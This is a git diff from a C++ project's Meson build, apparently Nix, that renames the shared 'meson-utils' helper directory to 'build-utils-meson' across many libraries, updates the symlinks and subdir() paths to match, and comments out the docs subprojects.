src/libcmd/meson-utils | 1 - src/libexpr-c/build-utils-meson | 1 + src/libexpr-c/meson-utils | 1 - src/libexpr-c/meson.build | 10 +++++----- src/libexpr-test-support/build-utils-meson | 1 + src/libexpr-test-support/meson-utils | 1 - src/libexpr-test-support/meson.build | 10 +++++----- src/libexpr-test/build-utils-meson | 1 + src/libexpr-test/meson-utils | 1 - src/libexpr-test/meson.build | 8 ++++---- src/libexpr/build-utils-meson | 1 + src/libexpr/meson-utils | 1 - src/libexpr/meson.build | 10 +++++----- src/libfetchers-test/build-utils-meson | 1 + src/libfetchers-test/meson-utils | 1 - src/libfetchers-test/meson.build | 8 ++++---- src/libfetchers/build-utils-meson | 1 + src/libfetchers/meson-utils | 1 - src/libfetchers/meson.build | 8 ++++---- src/libflake-test/build-utils-meson | 1 + src/libflake-test/meson-utils | 1 - src/libflake-test/meson.build | 8 ++++---- src/libflake/build-utils-meson | 1 + src/libflake/meson-utils | 1 - src/libflake/meson.build | 8 ++++---- src/libmain/build-utils-meson | 1 + src/libmain/meson-utils | 1 - src/libstore-c/build-utils-meson | 1 + src/libstore-c/meson-utils | 1 - src/libstore-c/meson.build | 10 +++++----- src/libstore-test-support/build-utils-meson | 1 + src/libstore-test-support/meson-utils | 1 - src/libstore-test-support/meson.build | 10 +++++----- src/libstore-test/build-utils-meson | 1 + src/libstore-test/meson-utils | 1 - src/libstore-test/meson.build | 8 ++++---- src/libstore/build-utils-meson | 1 + src/libstore/meson-utils | 1 - src/libstore/meson.build | 12 ++++++------ src/libutil-c/build-utils-meson | 1 + src/libutil-c/meson-utils | 1 - src/libutil-c/meson.build | 10 +++++----- src/libutil-test-support/build-utils-meson | 1 + src/libutil-test-support/meson-utils | 1 - src/libutil-test-support/meson.build | 10 +++++----- src/libutil-test/build-utils-meson | 1 + src/libutil-test/meson-utils | 1 - src/libutil-test/meson.build | 8 ++++---- src/libutil/build-utils-meson | 1 + src/libutil/meson-utils | 1 - src/libutil/meson.build | 12 ++++++------ 59 files changed, 95 insertions(+), 95 deletions(-) rename {meson-utils => build-utils-meson}/deps-lists/meson.build (100%) rename {meson-utils => build-utils-meson}/diagnostics/meson.build (100%) rename {meson-utils => build-utils-meson}/export-all-symbols/meson.build (100%) rename {meson-utils => build-utils-meson}/export/meson.build (100%) rename {meson-utils => build-utils-meson}/subprojects/meson.build (100%) rename {meson-utils => build-utils-meson}/threads/meson.build (100%) create mode 120000 src/libcmd/build-utils-meson delete mode 120000 src/libcmd/meson-utils create mode 120000 src/libexpr-c/build-utils-meson delete mode 120000 src/libexpr-c/meson-utils create mode 120000 src/libexpr-test-support/build-utils-meson delete mode 120000 src/libexpr-test-support/meson-utils create mode 120000 src/libexpr-test/build-utils-meson delete mode 120000 src/libexpr-test/meson-utils create mode 120000 src/libexpr/build-utils-meson delete mode 120000 src/libexpr/meson-utils create mode 120000 src/libfetchers-test/build-utils-meson delete mode 120000 src/libfetchers-test/meson-utils create mode 120000 src/libfetchers/build-utils-meson delete mode 120000 src/libfetchers/meson-utils create mode 120000 src/libflake-test/build-utils-meson delete mode 120000 src/libflake-test/meson-utils create mode 120000 src/libflake/build-utils-meson delete mode 120000 src/libflake/meson-utils create mode 120000 src/libmain/build-utils-meson delete mode 120000 src/libmain/meson-utils create mode 120000 src/libstore-c/build-utils-meson delete mode 120000 src/libstore-c/meson-utils create mode 120000 src/libstore-test-support/build-utils-meson delete mode 120000 src/libstore-test-support/meson-utils create mode 120000 src/libstore-test/build-utils-meson delete mode 120000 src/libstore-test/meson-utils create mode 120000 src/libstore/build-utils-meson delete mode 120000 src/libstore/meson-utils create mode 120000 src/libutil-c/build-utils-meson delete mode 120000 src/libutil-c/meson-utils create mode 120000 src/libutil-test-support/build-utils-meson delete mode 120000 src/libutil-test-support/meson-utils create mode 120000 src/libutil-test/build-utils-meson delete mode 120000 src/libutil-test/meson-utils create mode 120000 src/libutil/build-utils-meson delete mode 120000 src/libutil/meson-utils diff --git a/meson-utils/deps-lists/meson.build b/build-utils-meson/deps-lists/meson.build similarity index 100% rename from meson-utils/deps-lists/meson.build rename to build-utils-meson/deps-lists/meson.build diff --git a/meson-utils/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build similarity index 100% rename from meson-utils/diagnostics/meson.build rename to build-utils-meson/diagnostics/meson.build diff --git a/meson-utils/export-all-symbols/meson.build b/build-utils-meson/export-all-symbols/meson.build similarity index 100% rename from meson-utils/export-all-symbols/meson.build rename to build-utils-meson/export-all-symbols/meson.build diff --git a/meson-utils/export/meson.build b/build-utils-meson/export/meson.build similarity index 100% rename from meson-utils/export/meson.build rename to build-utils-meson/export/meson.build diff --git a/meson-utils/subprojects/meson.build b/build-utils-meson/subprojects/meson.build similarity index 100% rename from meson-utils/subprojects/meson.build rename to build-utils-meson/subprojects/meson.build diff --git a/meson-utils/threads/meson.build b/build-utils-meson/threads/meson.build similarity index 100% rename from meson-utils/threads/meson.build rename to build-utils-meson/threads/meson.build diff --git a/meson.build b/meson.build index fb38d7ef2..e969fc907 100644 --- a/meson.build +++ b/meson.build @@ -13,8 +13,8 @@ subproject('libexpr') subproject('libflake') # Docs -subproject('internal-api-docs') -subproject('external-api-docs') +#subproject('internal-api-docs') +#subproject('external-api-docs') # C wrappers subproject('libutil-c') diff --git a/src/libcmd/build-utils-meson b/src/libcmd/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libcmd/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libcmd/meson-utils b/src/libcmd/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libcmd/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libexpr-c/build-utils-meson b/src/libexpr-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libexpr-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libexpr-c/meson-utils b/src/libexpr-c/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libexpr-c/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index 477640240..3c5d9e6b7 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -14,7 +14,7 @@ project('nix-expr-c', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') configdata = configuration_data() @@ -27,7 +27,7 @@ deps_public_maybe_subproject = [ dependency('nix-util-c'), dependency('nix-store-c'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) @@ -53,7 +53,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'nix_api_expr.cc', @@ -69,7 +69,7 @@ headers = [config_h] + files( 'nix_api_value.h', ) -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nixexprc', @@ -84,4 +84,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libexpr-test-support/build-utils-meson b/src/libexpr-test-support/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libexpr-test-support/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libexpr-test-support/meson-utils b/src/libexpr-test-support/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libexpr-test-support/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build index ad3108a61..d42b0532b 100644 --- a/src/libexpr-test-support/meson.build +++ b/src/libexpr-test-support/meson.build @@ -14,7 +14,7 @@ project('nix-expr-test-support', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -25,7 +25,7 @@ deps_public_maybe_subproject = [ dependency('nix-store-test-support'), dependency('nix-expr'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') rapidcheck = dependency('rapidcheck') deps_public += rapidcheck @@ -39,7 +39,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'tests/value/context.cc', @@ -53,7 +53,7 @@ headers = files( 'tests/value/context.hh', ) -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nix-expr-test-support', @@ -70,4 +70,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libexpr-test/build-utils-meson b/src/libexpr-test/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libexpr-test/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libexpr-test/meson-utils b/src/libexpr-test/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libexpr-test/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index cc32b0a1a..f70fd0693 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -14,7 +14,7 @@ project('nix-expr-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -29,9 +29,9 @@ deps_public_maybe_subproject = [ dependency('nix-expr-c'), dependency('nix-expr-test-support'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck @@ -54,7 +54,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'derived-path.cc', diff --git a/src/libexpr/build-utils-meson b/src/libexpr/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libexpr/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libexpr/meson-utils b/src/libexpr/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libexpr/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index d99f80486..fdf264604 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -14,7 +14,7 @@ project('nix-expr', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') configdata = configuration_data() @@ -25,9 +25,9 @@ deps_public_maybe_subproject = [ dependency('nix-store'), dependency('nix-fetchers'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') -subdir('meson-utils/threads') +subdir('build-utils-meson/threads') boost = dependency( 'boost', @@ -69,7 +69,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') parser_tab = custom_target( input : 'parser.y', @@ -201,4 +201,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libfetchers-test/build-utils-meson b/src/libfetchers-test/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libfetchers-test/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libfetchers-test/meson-utils b/src/libfetchers-test/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libfetchers-test/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build index 30056c64a..e7c5b7873 100644 --- a/src/libfetchers-test/meson.build +++ b/src/libfetchers-test/meson.build @@ -14,7 +14,7 @@ project('nix-fetchers-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -27,9 +27,9 @@ deps_public_maybe_subproject = [ dependency('nix-store-test-support'), dependency('nix-fetchers'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck @@ -48,7 +48,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'public-key.cc', diff --git a/src/libfetchers/build-utils-meson b/src/libfetchers/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libfetchers/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libfetchers/meson-utils b/src/libfetchers/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libfetchers/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index 16645bda3..257e15766 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -14,7 +14,7 @@ project('nix-fetchers', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') configdata = configuration_data() @@ -24,7 +24,7 @@ deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-store'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json @@ -41,7 +41,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'attrs.cc', @@ -89,4 +89,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libflake-test/build-utils-meson b/src/libflake-test/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libflake-test/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libflake-test/meson-utils b/src/libflake-test/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libflake-test/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build index b5f0c2fb4..dd3f658be 100644 --- a/src/libflake-test/meson.build +++ b/src/libflake-test/meson.build @@ -14,7 +14,7 @@ project('nix-flake-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -30,9 +30,9 @@ deps_public_maybe_subproject = [ dependency('nix-expr-test-support'), dependency('nix-flake'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck @@ -52,7 +52,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'flakeref.cc', diff --git a/src/libflake/build-utils-meson b/src/libflake/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libflake/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libflake/meson-utils b/src/libflake/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libflake/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libflake/meson.build b/src/libflake/meson.build index 13541fc43..e43d21dd3 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -14,7 +14,7 @@ project('nix-flake', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -24,7 +24,7 @@ deps_public_maybe_subproject = [ dependency('nix-fetchers'), dependency('nix-expr'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json @@ -42,7 +42,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'flake-settings.cc', @@ -74,4 +74,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libmain/build-utils-meson b/src/libmain/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libmain/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libmain/meson-utils b/src/libmain/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libmain/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libstore-c/build-utils-meson b/src/libstore-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libstore-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libstore-c/meson-utils b/src/libstore-c/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libstore-c/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index cd068fed2..4f2d77d9f 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -14,7 +14,7 @@ project('nix-store-c', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') configdata = configuration_data() @@ -25,7 +25,7 @@ deps_private_maybe_subproject = [ deps_public_maybe_subproject = [ dependency('nix-util-c'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) @@ -49,7 +49,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'nix_api_store.cc', @@ -61,7 +61,7 @@ headers = [config_h] + files( 'nix_api_store.h', ) -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nixstorec', @@ -76,4 +76,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libstore-test-support/build-utils-meson b/src/libstore-test-support/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libstore-test-support/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libstore-test-support/meson-utils b/src/libstore-test-support/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libstore-test-support/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build index adf6f685e..e278bd3f8 100644 --- a/src/libstore-test-support/meson.build +++ b/src/libstore-test-support/meson.build @@ -14,7 +14,7 @@ project('nix-store-test-support', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -23,7 +23,7 @@ deps_public_maybe_subproject = [ dependency('nix-util-test-support'), dependency('nix-store'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') rapidcheck = dependency('rapidcheck') deps_public += rapidcheck @@ -36,7 +36,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'tests/derived-path.cc', @@ -55,7 +55,7 @@ headers = files( 'tests/protocol.hh', ) -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nix-store-test-support', @@ -72,4 +72,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libstore-test/build-utils-meson b/src/libstore-test/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libstore-test/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libstore-test/meson-utils b/src/libstore-test/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libstore-test/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index 2cdbfa7b5..6599b2d96 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -14,7 +14,7 @@ project('nix-store-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -26,9 +26,9 @@ deps_public_maybe_subproject = [ dependency('nix-store-c'), dependency('nix-store-test-support'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck @@ -49,7 +49,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'common-protocol.cc', diff --git a/src/libstore/build-utils-meson b/src/libstore/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libstore/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libstore/meson-utils b/src/libstore/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libstore/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 2bc3f27e4..62137ef5f 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -14,7 +14,7 @@ project('nix-store', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') configdata = configuration_data() @@ -28,7 +28,7 @@ deps_private_maybe_subproject = [ deps_public_maybe_subproject = [ dependency('nix-util'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') run_command('ln', '-s', meson.project_build_root() / '__nothing_link_target', @@ -67,7 +67,7 @@ has_acl_support = cxx.has_header('sys/xattr.h') \ and cxx.has_function('lremovexattr') configdata.set('HAVE_ACL_SUPPORT', has_acl_support.to_int()) -subdir('meson-utils/threads') +subdir('build-utils-meson/threads') boost = dependency( 'boost', @@ -153,7 +153,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'binary-cache-store.cc', @@ -385,7 +385,7 @@ foreach name, value : cpp_str_defines ] endforeach -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nixstore', @@ -402,4 +402,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libutil-c/build-utils-meson b/src/libutil-c/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libutil-c/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libutil-c/meson-utils b/src/libutil-c/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libutil-c/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 6c316784d..5e12186d2 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -14,7 +14,7 @@ project('nix-util-c', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') configdata = configuration_data() @@ -23,7 +23,7 @@ deps_private_maybe_subproject = [ ] deps_public_maybe_subproject = [ ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) @@ -45,7 +45,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'nix_api_util.cc', @@ -57,7 +57,7 @@ headers = [config_h] + files( 'nix_api_util.h', ) -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nixutilc', @@ -72,4 +72,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libutil-test-support/build-utils-meson b/src/libutil-test-support/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libutil-test-support/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libutil-test-support/meson-utils b/src/libutil-test-support/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libutil-test-support/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build index d63fabce5..a36aa2a00 100644 --- a/src/libutil-test-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -14,14 +14,14 @@ project('nix-util-test-support', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] deps_public_maybe_subproject = [ dependency('nix-util'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') rapidcheck = dependency('rapidcheck') deps_public += rapidcheck @@ -33,7 +33,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'tests/hash.cc', @@ -49,7 +49,7 @@ headers = files( 'tests/string_callback.hh', ) -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') this_library = library( 'nix-util-test-support', @@ -66,4 +66,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true) libraries_private = [] -subdir('meson-utils/export') +subdir('build-utils-meson/export') diff --git a/src/libutil-test/build-utils-meson b/src/libutil-test/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libutil-test/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libutil-test/meson-utils b/src/libutil-test/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libutil-test/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build index 43001ca68..b90148f21 100644 --- a/src/libutil-test/meson.build +++ b/src/libutil-test/meson.build @@ -14,7 +14,7 @@ project('nix-util-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') deps_private_maybe_subproject = [ ] @@ -23,9 +23,9 @@ deps_public_maybe_subproject = [ dependency('nix-util-c'), dependency('nix-util-test-support'), ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') -subdir('meson-utils/export-all-symbols') +subdir('build-utils-meson/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck @@ -41,7 +41,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'args.cc', diff --git a/src/libutil/build-utils-meson b/src/libutil/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libutil/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libutil/meson-utils b/src/libutil/meson-utils deleted file mode 120000 index 41c67447e..000000000 --- a/src/libutil/meson-utils +++ /dev/null @@ -1 +0,0 @@ -../../meson-utils \ No newline at end of file diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 5eee8b3b2..c87808067 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -14,7 +14,7 @@ project('nix-util', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils/deps-lists') +subdir('build-utils-meson/deps-lists') configdata = configuration_data() @@ -22,7 +22,7 @@ deps_private_maybe_subproject = [ ] deps_public_maybe_subproject = [ ] -subdir('meson-utils/subprojects') +subdir('build-utils-meson/subprojects') # Check for each of these functions, and create a define like `#define # HAVE_LUTIMES 1`. The `#define` is unconditional, 0 for not found and 1 @@ -48,7 +48,7 @@ foreach funcspec : check_funcs configdata.set(define_name, define_value) endforeach -subdir('meson-utils/threads') +subdir('build-utils-meson/threads') if host_machine.system() == 'windows' socket = cxx.find_library('ws2_32') @@ -114,7 +114,7 @@ add_project_arguments( language : 'cpp', ) -subdir('meson-utils/diagnostics') +subdir('build-utils-meson/diagnostics') sources = files( 'archive.cc', 